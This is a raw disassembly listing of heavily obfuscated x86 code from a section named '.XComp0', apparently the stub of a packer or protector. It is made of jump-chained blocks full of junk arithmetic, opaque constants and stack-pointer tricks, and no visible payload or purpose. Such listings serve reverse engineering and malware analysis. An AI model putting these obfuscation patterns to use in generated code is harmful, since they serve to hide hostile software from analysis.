		jmp	loc_58A8ED
; ---------------------------------------------------------------------------


loc_597A35:				; CODE XREF: .XComp0:0058532Bj
		add	ebp, 45604D5Eh
		jmp	loc_591060
; ---------------------------------------------------------------------------


loc_597A40:				; CODE XREF: .XComp0:00595B88j
		add	edx, 17DB219Bh
		push	eax
		mov	eax, 0E0EB1367h
		add	edx, eax
		jmp	loc_586198
; ---------------------------------------------------------------------------


loc_597A53:				; CODE XREF: .XComp0:00587AC5j
		pop	eax
		mov	esi, eax
		pop	eax
		jmp	loc_5843E8
; ---------------------------------------------------------------------------


loc_597A5C:				; CODE XREF: .XComp0:00598804j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58DC94
; ---------------------------------------------------------------------------


loc_597A6D:				; CODE XREF: .XComp0:0058B50Aj
		shl	dl, 3
		sub	dl, 8
		add	dl, 67h
		add	al, dl
		pop	edx
		mov	cx, [esp]
		push	edi
		push	edi
		jmp	loc_58AB41
; ---------------------------------------------------------------------------


loc_597A84:				; CODE XREF: .XComp0:00592AE1j
		push	ebp
		mov	ebp, 0E4E36BABh
		push	eax
		mov	eax, ebp
		mov	ebx, eax
		jmp	loc_58AF79
; ---------------------------------------------------------------------------


loc_597A94:				; CODE XREF: .XComp0:0059832Bj
		pop	ebx
		push	eax
		push	ebp
		pop	eax
		pop	ebp
		pop	ebp
		push	3AA0h
		jmp	loc_5908DC
; ---------------------------------------------------------------------------


loc_597AA4:				; CODE XREF: .XComp0:00587EC9j
		add	eax, 1FBC4103h
		sub	eax, ebp
		sub	eax, 1FBC4103h
		pop	ebp
		pop	edx
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58D476
; ---------------------------------------------------------------------------


loc_597ABF:				; CODE XREF: .XComp0:00598437j
		sub	ebp, 252E4332h
		jmp	loc_58C592
; ---------------------------------------------------------------------------


loc_597ACA:				; CODE XREF: .XComp0:00592B53j
		pop	eax
		push	14AAh
		jmp	loc_589BEE
; ---------------------------------------------------------------------------


loc_597AD5:				; CODE XREF: .XComp0:00595B90j
		push	esi
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_58F164
; ---------------------------------------------------------------------------


loc_597AE8:				; CODE XREF: .XComp0:0058B09Bj
		mov	[esp], ecx
		mov	ecx, 46405A90h
		jmp	loc_5870F4
; ---------------------------------------------------------------------------


loc_597AF5:				; CODE XREF: .XComp0:005850C0j
		mov	[esp], ecx
		push	edx
		mov	edx, 2E0C0CD2h
		sub	edx, 31C00ECFh
		sub	edx, 0FFFFFFFFh
		and	edx, 633A6CC9h
		push	ebx
		jmp	loc_5861F1
; ---------------------------------------------------------------------------


loc_597B13:				; CODE XREF: .XComp0:00591F5Cj
		pop	edx
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_5924E1
; ---------------------------------------------------------------------------


loc_597B22:				; CODE XREF: .XComp0:00593873j
		mov	[esp], ebx
		mov	bh, 67h
		jmp	loc_5945AF
; ---------------------------------------------------------------------------


loc_597B2C:				; CODE XREF: .XComp0:00591754j
		add	al, 8Dh
		sub	al, 3
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, 2DE04821h
		add	ecx, ebx
		jmp	loc_58A2EB
; ---------------------------------------------------------------------------


loc_597B50:				; CODE XREF: .XComp0:00592E5Bj
		add	ebx, ebp
		jmp	loc_595A05
; ---------------------------------------------------------------------------


loc_597B57:				; CODE XREF: .XComp0:00586E76j
		push	ebp
		mov	ebp, 4
		sub	ecx, 67936D91h
		add	ecx, ebp
		add	ecx, 67936D91h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_589163
; ---------------------------------------------------------------------------


loc_597B76:				; CODE XREF: .XComp0:0058F63Cj
		not	ebp
		jmp	loc_594DCE
; ---------------------------------------------------------------------------


loc_597B7D:				; CODE XREF: .XComp0:00586705j
		mov	edi, edx
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		neg	ecx
		add	ecx, 8BE963F6h
		and	ebx, ecx
		pop	ecx
		dec	ebx
		push	ebx
		push	edi
		jmp	loc_58959A
; ---------------------------------------------------------------------------


loc_597B9E:				; CODE XREF: .XComp0:0059105Bj
		push	ecx
		mov	ecx, 495B5C66h
		inc	ecx
		sub	ecx, 21D36194h
		sub	ecx, 1
		xor	ecx, 487CFF06h
		and	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4BF15197h
		or	ebx, 20CC6BECh
		or	ebx, 37784AD4h
		not	ebx
		or	ebx, 1D1937F8h
		xor	ebx, 96D3B3ACh
		jmp	loc_587F11
; ---------------------------------------------------------------------------


loc_597BDC:				; CODE XREF: .XComp0:00592D73j
		dec	cl
		push	ebx
		mov	bl, 0DDh
		sub	cl, bl
		pop	ebx
		push	edx
		jmp	loc_5843A8
; ---------------------------------------------------------------------------


loc_597BEA:				; CODE XREF: .XComp0:00594EB6j
		and	edi, eax
		pop	eax
		jmp	loc_58BBDA
; ---------------------------------------------------------------------------


loc_597BF2:				; CODE XREF: .XComp0:00598B1Bj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_58EAA7
; ---------------------------------------------------------------------------


loc_597C05:				; CODE XREF: .XComp0:00598C72j
		mov	dl, 2
		neg	dl
		shr	dl, 2
		xor	dl, 3Dh
		add	dl, 67h
		inc	dl
		add	dl, 1Bh
		sub	cl, dl
		jmp	loc_58A4B5
; ---------------------------------------------------------------------------


loc_597C1E:				; CODE XREF: .XComp0:005898CEj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58BA01
; ---------------------------------------------------------------------------


loc_597C2F:				; CODE XREF: .XComp0:0058555Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[edi+eax*4+1], bl
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_58C7B4
; ---------------------------------------------------------------------------


loc_597C67:				; CODE XREF: .XComp0:0058DC05j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58B21D
; ---------------------------------------------------------------------------


loc_597C72:				; CODE XREF: .XComp0:00592728j
		add	ebx, 6C101ED8h
		sub	ebx, 18766353h
		jmp	loc_58FA4C
; ---------------------------------------------------------------------------


loc_597C83:				; CODE XREF: .XComp0:00594E73j
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_594EE8
; ---------------------------------------------------------------------------


loc_597C8F:				; CODE XREF: .XComp0:0058A8A3j
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_58AFAB
; ---------------------------------------------------------------------------


loc_597C9C:				; CODE XREF: .XComp0:0058CAADj
		sub	esp, 4
		jmp	loc_58C414
; ---------------------------------------------------------------------------


loc_597CA7:				; CODE XREF: .XComp0:0058B171j
		push	edx
		jmp	loc_595AAB
; ---------------------------------------------------------------------------


loc_597CAD:				; CODE XREF: .XComp0:00591087j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_597CB2:				; CODE XREF: .XComp0:0058CF0Aj
		add	edi, 49DB29DCh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58EEDF
; ---------------------------------------------------------------------------


loc_597CC6:				; CODE XREF: .XComp0:0059728Cj
		add	al, 34h
		add	al, 0D8h
		jmp	loc_584976
; ---------------------------------------------------------------------------


loc_597CCF:				; CODE XREF: .XComp0:00593DDBj
		pop	eax
		jmp	loc_5938D2
; ---------------------------------------------------------------------------


loc_597CD5:				; CODE XREF: .XComp0:00593D60j
		mov	ebp, [esp]
		jmp	loc_592284
; ---------------------------------------------------------------------------


loc_597CDD:				; CODE XREF: .XComp0:00590BD8j
		shl	edx, 3
		inc	edx
		sub	edx, 5C79C1B7h
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		push	6FD6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58BE5E
; ---------------------------------------------------------------------------
		push	eax
		push	6D97h
		mov	[esp], ebp
		mov	ebp, 0FEh
		mov	eax, ebp
		jmp	loc_58E10C
; ---------------------------------------------------------------------------


loc_597D24:				; CODE XREF: .XComp0:00583D2Fj
		xor	[esp+4], ebp
		jmp	loc_585D86
; ---------------------------------------------------------------------------


loc_597D2D:				; CODE XREF: .XComp0:00594B7Aj
		shl	ebp, 6
		push	ebp
		jmp	loc_592E1A
; ---------------------------------------------------------------------------


loc_597D36:				; CODE XREF: .XComp0:00596B29j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 43EE7D18h
		not	eax
		dec	eax
		inc	eax
		jmp	loc_59437C
; ---------------------------------------------------------------------------


loc_597D4B:				; CODE XREF: .XComp0:00595235j
		mov	eax, [esp]
		jmp	loc_585C4A
; ---------------------------------------------------------------------------


loc_597D53:				; CODE XREF: .XComp0:00589022j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 21BB08C6h
		sub	edi, 38022E47h
		add	edi, 24304A0Ch
		add	edi, edx
		push	esi
		jmp	loc_595669
; ---------------------------------------------------------------------------


loc_597D7C:				; CODE XREF: .XComp0:005932D7j
		pop	edx
		push	ebx
		mov	ebx, 0A2B3662h
		sub	edi, ebx
		pop	ebx
		add	edi, eax
		add	edi, 0A2B3662h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_593AEE
; ---------------------------------------------------------------------------


loc_597DAD:				; CODE XREF: .XComp0:0058C245j
		pop	esp
		add	ebx, 7BE72157h
		sub	ebx, 417B3914h
		add	ebx, ecx
		add	ebx, 417B3914h
		sub	ebx, 7BE72157h
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5866E4
; ---------------------------------------------------------------------------


loc_597DEA:				; CODE XREF: .XComp0:00585F72j
		mov	ecx, 40h
		add	ecx, edi
		mov	[ecx], ebp
		pop	ecx
		mov	ebp, [esp]
		push	edi
		push	esp
		jmp	loc_597339
; ---------------------------------------------------------------------------


loc_597DFE:				; CODE XREF: .XComp0:00592540j
		and	bl, 15h
		jmp	loc_58F414
; ---------------------------------------------------------------------------


loc_597E06:				; CODE XREF: .XComp0:0058C6DFj
		mov	ebp, [esp]
		jmp	loc_584653
; ---------------------------------------------------------------------------


loc_597E0E:				; CODE XREF: .XComp0:00591588j
		push	0EE0h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 490E1590h
		jmp	loc_58AA0A
; ---------------------------------------------------------------------------


loc_597E26:				; CODE XREF: .XComp0:00588526j
		pop	esi
		jmp	loc_58DAA7
; ---------------------------------------------------------------------------


loc_597E2C:				; CODE XREF: .XComp0:005969F8j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4A416355h
		sub	ebx, 117A7D1Fh
		jmp	loc_586142
; ---------------------------------------------------------------------------


loc_597E46:				; CODE XREF: .XComp0:00594C2Bj
		add	ebx, ebp
		pop	ebp
		jmp	loc_591094
; ---------------------------------------------------------------------------


loc_597E4E:				; CODE XREF: .XComp0:005884E6j
		sub	esp, 4
		jmp	loc_58BFB6
; ---------------------------------------------------------------------------


loc_597E59:				; CODE XREF: .XComp0:00593F76j
		or	ecx, 3EDF6905h
		xor	ecx, 4CD56CE9h
		mov	esi, ecx
		pop	ecx
		add	[esp+8], esi
		pop	esi
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 330A11D6h
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_589E55
; ---------------------------------------------------------------------------


loc_597E85:				; CODE XREF: .XComp0:0058EF75j
		not	ecx
		push	ebp
		mov	ebp, 15071857h
		sub	ebp, 0DD8DD6B3h
		jmp	loc_590318
; ---------------------------------------------------------------------------


loc_597E98:				; CODE XREF: .XComp0:0058C069j
		add	esi, 0FFFFFFFFh
		and	esi, 0C276AB7h
		push	edi
		push	ebp
		jmp	loc_5904D1
; ---------------------------------------------------------------------------


loc_597EAB:				; CODE XREF: .XComp0:0059092Bj
		sub	edx, 20902FFBh
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 2
		add	ecx, eax
		jmp	loc_58B024
; ---------------------------------------------------------------------------


loc_597EC1:				; CODE XREF: .XComp0:0058CA38j
		add	esi, 542EFFAFh
		jmp	loc_591EEA
; ---------------------------------------------------------------------------


loc_597ECC:				; CODE XREF: .XComp0:0058F6A1j
		sub	edx, 6FB523E2h
		jmp	loc_591C91
; ---------------------------------------------------------------------------


loc_597ED7:				; CODE XREF: .XComp0:0058BFE0j
		mov	esi, 42A66423h
		xor	esi, 25824841h
		jmp	loc_58EE8F
; ---------------------------------------------------------------------------


loc_597EE7:				; CODE XREF: .XComp0:005859EBj
		pop	ebx
		push	ebx
		jmp	loc_58BF52
; ---------------------------------------------------------------------------


loc_597EEE:				; CODE XREF: .XComp0:0058F7BFj
		or	edi, ebx
		pop	ebx
		jmp	loc_585121
; ---------------------------------------------------------------------------


loc_597EF6:				; CODE XREF: .XComp0:0058E0D1j
		mov	eax, 730238A8h
		add	eax, 535356A7h
		or	eax, 0A8D5864h
		sub	eax, 62B9B3B4h
		shl	eax, 5
		jmp	loc_5986CA
; ---------------------------------------------------------------------------


loc_597F12:				; CODE XREF: .XComp0:0058D011j
		mov	[esp], ecx
		mov	cl, dh
		mov	bh, cl
		mov	ecx, [esp]
		jmp	loc_584BEA
; ---------------------------------------------------------------------------


loc_597F21:				; CODE XREF: .XComp0:00586B3Fj
		add	esi, eax
		pop	eax
		add	ebp, esi
		pop	esi
		jmp	loc_597256
; ---------------------------------------------------------------------------


loc_597F2C:				; CODE XREF: .XComp0:0058C0D0j
		add	esi, 76A7E2Dh
		xor	esi, 622AFF28h
		sub	edi, esi
		pop	esi
		mov	edx, edi
		jmp	loc_596D26
; ---------------------------------------------------------------------------


loc_597F42:				; CODE XREF: .XComp0:0058DD90j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_5896C7
; ---------------------------------------------------------------------------


loc_597F50:				; CODE XREF: .XComp0:00592EF3j
		pop	ebp
		push	edx
		mov	edx, 0BE25EA4Ch
		add	edi, 31F87A9Eh
		add	edi, edx
		jmp	loc_58B140
; ---------------------------------------------------------------------------


loc_597F64:				; CODE XREF: .XComp0:00593B5Dj
		mov	ebp, 172A5EEAh
		shl	ebp, 1
		jmp	loc_58F2A0
; ---------------------------------------------------------------------------


loc_597F70:				; CODE XREF: .XComp0:005944FFj
		pop	eax
		add	esp, 4
		sub	eax, 362F6CBBh
		add	eax, esi
		add	eax, 362F6CBBh
		pop	esi
		push	7479h
		mov	[esp], edx
		mov	edx, 4AAC61E3h
		not	edx
		push	7DA4h
		mov	[esp], ecx
		jmp	loc_5942C0
; ---------------------------------------------------------------------------


loc_597FA0:				; CODE XREF: .XComp0:0058AC68j
		dec	eax
		push	esi
		push	7E5D3945h
		jmp	loc_598D29
; ---------------------------------------------------------------------------


loc_597FAC:				; CODE XREF: .XComp0:0058C77Ej
		mov	cl, 6Fh
		sub	cl, al
		pop	eax
		jmp	loc_58D85A
; ---------------------------------------------------------------------------


loc_597FB6:				; CODE XREF: .XComp0:0058E4D7j
		shr	ebp, 8
		jmp	loc_5977F5
; ---------------------------------------------------------------------------


loc_597FBE:				; CODE XREF: .XComp0:00589C82j
		xor	ecx, 10410EC8h
		jmp	loc_58B188
; ---------------------------------------------------------------------------


loc_597FC9:				; CODE XREF: .XComp0:00590ABAj
		sub	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		xor	al, dh
		mov	dx, [esp]
		push	ecx
		jmp	loc_598174
; ---------------------------------------------------------------------------


loc_597FDF:				; CODE XREF: .XComp0:00598BC5j
		mov	edx, 47616638h
		neg	edx
		jmp	loc_585A95
; ---------------------------------------------------------------------------


loc_597FEB:				; CODE XREF: .XComp0:0058D226j
		push	ebp
		mov	ebp, 0D24EA087h
		add	edi, ebp
		pop	ebp
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_5907F8
; ---------------------------------------------------------------------------


loc_597FFF:				; CODE XREF: .XComp0:005945E8j
		push	ebx
		mov	ebx, 400h
		mov	edi, ebx
		jmp	loc_583C01
; ---------------------------------------------------------------------------


loc_59800C:				; CODE XREF: .XComp0:0058CEB3j
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	6FC8h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	0BCC3659h
		jmp	loc_59105A
; ---------------------------------------------------------------------------


loc_598040:				; CODE XREF: .XComp0:00594B6Dj
		xchg	esi, [esp]
		pop	esp
		push	5356h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 7B156DD6h
		sub	esi, 7B156DD2h
		sub	ebp, 73E57939h
		add	ebp, esi
		add	ebp, 73E57939h
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_588741
; ---------------------------------------------------------------------------


loc_598075:				; CODE XREF: .XComp0:00586086j
		add	edi, 4
		sub	edi, 4
		jmp	loc_58E4F7
; ---------------------------------------------------------------------------


loc_598083:				; CODE XREF: .XComp0:00586277j
		sub	ebp, 0B273D78Eh
		jmp	loc_590AA0
; ---------------------------------------------------------------------------


loc_59808E:				; CODE XREF: .XComp0:00592A31j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58A12D
; ---------------------------------------------------------------------------


loc_598098:				; CODE XREF: .XComp0:0058D32Ej
		neg	ecx
		jmp	loc_59359E
; ---------------------------------------------------------------------------


loc_59809F:				; CODE XREF: .XComp0:0058F877j
		pop	eax
		add	ecx, 550A2A26h
		sub	ecx, 1D552407h
		jmp	loc_586F61
; ---------------------------------------------------------------------------


loc_5980B1:				; CODE XREF: .XComp0:00588424j
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5896D7
; ---------------------------------------------------------------------------


loc_5980C3:				; CODE XREF: .XComp0:0058F274j
		mov	ebx, 6CE5218Bh
		dec	ebx
		shl	ebx, 5
		add	ebx, 0C8D564Dh
		or	ebx, 58E30B18h
		jmp	loc_584400
; ---------------------------------------------------------------------------


loc_5980DD:				; CODE XREF: .XComp0:0058ED34j
		sub	ecx, 6CC8632Eh
		push	eax
		mov	eax, 68884AAAh
		add	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5988ED
; ---------------------------------------------------------------------------


loc_5980FD:				; CODE XREF: .XComp0:00585714j
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		jmp	loc_5926A4
; ---------------------------------------------------------------------------


loc_598108:				; CODE XREF: .XComp0:005861ADj
		add	esp, 4
		or	eax, eax
		jz	loc_585375
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_598780
; ---------------------------------------------------------------------------


loc_598127:				; CODE XREF: .XComp0:0058E575j
		mov	ecx, [esp]
		add	esp, 4
		push	514Ah
		mov	[esp], eax
		mov	eax, esi
		push	eax
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_590114
; ---------------------------------------------------------------------------


loc_598152:				; CODE XREF: .XComp0:00591E10j
		mov	bx, 76C1h
		sub	ax, bx
		jmp	loc_58F35E
; ---------------------------------------------------------------------------


loc_59815E:				; CODE XREF: .XComp0:00585C3Fj
		add	ebp, 0FFD5BC00h
		jmp	loc_58C4CB
; ---------------------------------------------------------------------------


loc_598169:				; CODE XREF: .XComp0:0058FA12j
		sub	ecx, 199E7DF2h
		jmp	loc_5932AA
; ---------------------------------------------------------------------------


loc_598174:				; CODE XREF: .XComp0:00597FDAj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58AC30
; ---------------------------------------------------------------------------


loc_598181:				; CODE XREF: .XComp0:00593CEEj
		push	744Dh
		mov	[esp], ebp
		push	eax
		push	edi
		mov	edi, 26B02DBBh
		xor	edi, 41D764ECh
		jmp	loc_584942
; ---------------------------------------------------------------------------


loc_59819B:				; CODE XREF: .XComp0:0058CDA8j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_597995
; ---------------------------------------------------------------------------


loc_5981B2:				; CODE XREF: .XComp0:0058F509j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 5BE25C37h
		add	ebx, 594C7FE0h
		push	edx
		jmp	loc_587F6A
; ---------------------------------------------------------------------------


loc_5981CA:				; CODE XREF: .XComp0:0058D410j
		mov	[esp], ebp
		mov	ebp, 5BD074D5h
		jmp	loc_58B48C
; ---------------------------------------------------------------------------


loc_5981D7:				; CODE XREF: .XComp0:0059115Fj
		pop	edx
		jmp	loc_58F3C4
; ---------------------------------------------------------------------------


loc_5981DD:				; CODE XREF: .XComp0:0058F359j
		push	122Eh
		mov	[esp], ecx
		jmp	loc_58FC7A
; ---------------------------------------------------------------------------


loc_5981EA:				; CODE XREF: .XComp0:0058C09Cj
		pop	esi
		push	ebx
		jmp	loc_596115
; ---------------------------------------------------------------------------


loc_5981F1:				; CODE XREF: .XComp0:00583BFCj
		mov	eax, ebp
		pop	ebp
		jmp	loc_587C01
; ---------------------------------------------------------------------------


loc_5981F9:				; CODE XREF: .XComp0:005918D9j
		sub	edx, 5DAB3088h
		jmp	loc_58BB5C
; ---------------------------------------------------------------------------


loc_598204:				; CODE XREF: .XComp0:005904CCj
		push	ebx
		jmp	loc_595216
; ---------------------------------------------------------------------------


loc_59820A:				; CODE XREF: .XComp0:00594BD4j
		and	ebp, 22316A85h
		xor	ebp, 15B50808h
		add	esi, ebp
		jmp	loc_586960
; ---------------------------------------------------------------------------


loc_59821D:				; CODE XREF: .XComp0:00583BE6j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	178Fh
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 0CF3AD8h
		push	eax
		jmp	loc_58A2E0
; ---------------------------------------------------------------------------


loc_598239:				; CODE XREF: .XComp0:00592C0Fj
		add	edi, 13064F46h
		sub	edi, 1BC590F8h
		add	[esp+4], edi
		pop	edi
		pop	ebp
		jmp	loc_58EAE7
; ---------------------------------------------------------------------------


loc_598250:				; CODE XREF: .XComp0:0058EF15j
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_5944B4
; ---------------------------------------------------------------------------


loc_59825A:				; CODE XREF: .XComp0:0058DE46j
		sub	ecx, 72A6FD84h
		add	eax, ecx
		pop	ecx
		jmp	loc_596897
; ---------------------------------------------------------------------------


loc_598268:				; CODE XREF: .XComp0:00584D22j
		pop	edi
		jmp	loc_5954F0
; ---------------------------------------------------------------------------


loc_59826E:				; CODE XREF: .XComp0:00584DCEj
		shr	ecx, 2
		jmp	loc_58DEC7
; ---------------------------------------------------------------------------


loc_598276:				; CODE XREF: .XComp0:0059709Bj
		push	ebp
		push	ebx
		jmp	loc_5936A8
; ---------------------------------------------------------------------------


loc_59827D:				; CODE XREF: .XComp0:00591BDBj
		or	edx, 65B03850h
		and	edx, 22D33025h
		jmp	loc_59092A
; ---------------------------------------------------------------------------


loc_59828E:				; CODE XREF: .XComp0:00583BEEj
		mov	ebx, 1E070F97h
		jmp	loc_590CA2
; ---------------------------------------------------------------------------


loc_598298:				; CODE XREF: .XComp0:0059229Ej
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_596A19
; ---------------------------------------------------------------------------


loc_5982B1:				; CODE XREF: .XComp0:0058A128j
		shr	eax, 6
		sub	eax, 97AE303Fh
		xor	ebp, eax
		pop	eax
		jmp	loc_590FAA
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		push	ebx
		push	5EAF3707h
		jmp	loc_59214F
; ---------------------------------------------------------------------------


loc_5982E4:				; CODE XREF: .XComp0:0058EA11j
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58906A
; ---------------------------------------------------------------------------


loc_5982F3:				; CODE XREF: .XComp0:00586201j
		sub	esi, 3BF6442Ch
		sub	esi, 2F133327h
		xor	esi, 419D190Fh
		xor	esi, 0F4F7FD28h
		jmp	loc_58BB3F
; ---------------------------------------------------------------------------


loc_598310:				; CODE XREF: .XComp0:00598AEAj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_598315:				; CODE XREF: .XComp0:00592DD6j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59831A:				; CODE XREF: .XComp0:00592037j
		sub	ebp, 1C8E7051h
		sub	ebp, eax
		push	ebx
		push	1C8E7051h
		pop	ebx
		add	ebp, ebx
		jmp	loc_597A94
; ---------------------------------------------------------------------------


loc_598330:				; CODE XREF: .XComp0:0058C84Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		jmp	loc_5894E6
; ---------------------------------------------------------------------------


loc_598345:				; CODE XREF: .XComp0:0059121Dj
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_58656A
; ---------------------------------------------------------------------------


loc_598352:				; CODE XREF: .XComp0:00583B0Ej
		mov	dl, 10h
		or	dl, 0E6h
		dec	dl
		add	dl, 9Eh
		push	esi
		jmp	loc_592BAB
; ---------------------------------------------------------------------------


loc_598362:				; CODE XREF: .XComp0:005948A9j
		mov	ecx, 4
		jmp	loc_59473F
; ---------------------------------------------------------------------------


loc_59836C:				; CODE XREF: .XComp0:00589C12j
		dec	eax
		shr	eax, 1
		inc	eax
		sub	eax, 0AA2B4D1Bh
		mov	esi, eax
		pop	eax
		push	edi
		mov	edi, 0FB15A7Fh
		push	0
		sub	[esp], edi
		pop	edi
		sub	edi, 7EAF4E94h
		neg	edi
		add	edi, 2FE64603h
		add	edi, 0C42CD20Ah
		add	esi, edi
		pop	edi
		jmp	loc_58A1A9
; ---------------------------------------------------------------------------


loc_5983A3:				; CODE XREF: .XComp0:00593837j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_597316
; ---------------------------------------------------------------------------


loc_5983B2:				; CODE XREF: .XComp0:00592765j
		pop	esp
		mov	[esp], eax
		mov	al, 37h
		xor	bl, al
		jmp	loc_58C3B5
; ---------------------------------------------------------------------------


loc_5983BF:				; CODE XREF: .XComp0:00591037j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58EF7A
; ---------------------------------------------------------------------------


loc_5983E5:				; CODE XREF: .XComp0:0058DD66j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_58FB3E
; ---------------------------------------------------------------------------


loc_5983FD:				; CODE XREF: .XComp0:00587E9Bj
		pop	cx
		jmp	loc_592D4C
; ---------------------------------------------------------------------------


loc_598404:				; CODE XREF: .XComp0:0058C64Ej
		add	esp, 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		push	380h
		mov	[esp], ecx
		mov	ecx, 5DA765D6h
		sub	ecx, 232C3D61h
		shl	ecx, 1
		jmp	loc_594BE4
; ---------------------------------------------------------------------------


loc_59842A:				; CODE XREF: .XComp0:00598731j
		not	esi
		jmp	loc_595CF8
; ---------------------------------------------------------------------------


loc_598431:				; CODE XREF: .XComp0:00596EB6j
		push	esi
		mov	esi, 2
		jmp	loc_597ABF
; ---------------------------------------------------------------------------


loc_59843C:				; CODE XREF: .XComp0:00591B10j
		add	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_590C70
; ---------------------------------------------------------------------------


loc_598455:				; CODE XREF: .XComp0:005913F8j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5880A9
; ---------------------------------------------------------------------------


loc_598461:				; CODE XREF: .XComp0:0058DFC6j
		dec	edx
		jmp	loc_587AE3
; ---------------------------------------------------------------------------


loc_598467:				; CODE XREF: .XComp0:005865B0j
		mov	[esp], edx
		mov	dl, 54h
		and	dl, 0D5h
		shr	dl, 6
		add	dl, 0BCh
		push	ecx
		jmp	loc_58F4A1
; ---------------------------------------------------------------------------


loc_59847B:				; CODE XREF: .XComp0:00586219j
		xor	edi, 7B5F790Bh
		jmp	loc_586ACA
; ---------------------------------------------------------------------------


loc_598486:				; CODE XREF: .XComp0:00583B96j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 694E0957h
		jmp	loc_594986
; ---------------------------------------------------------------------------


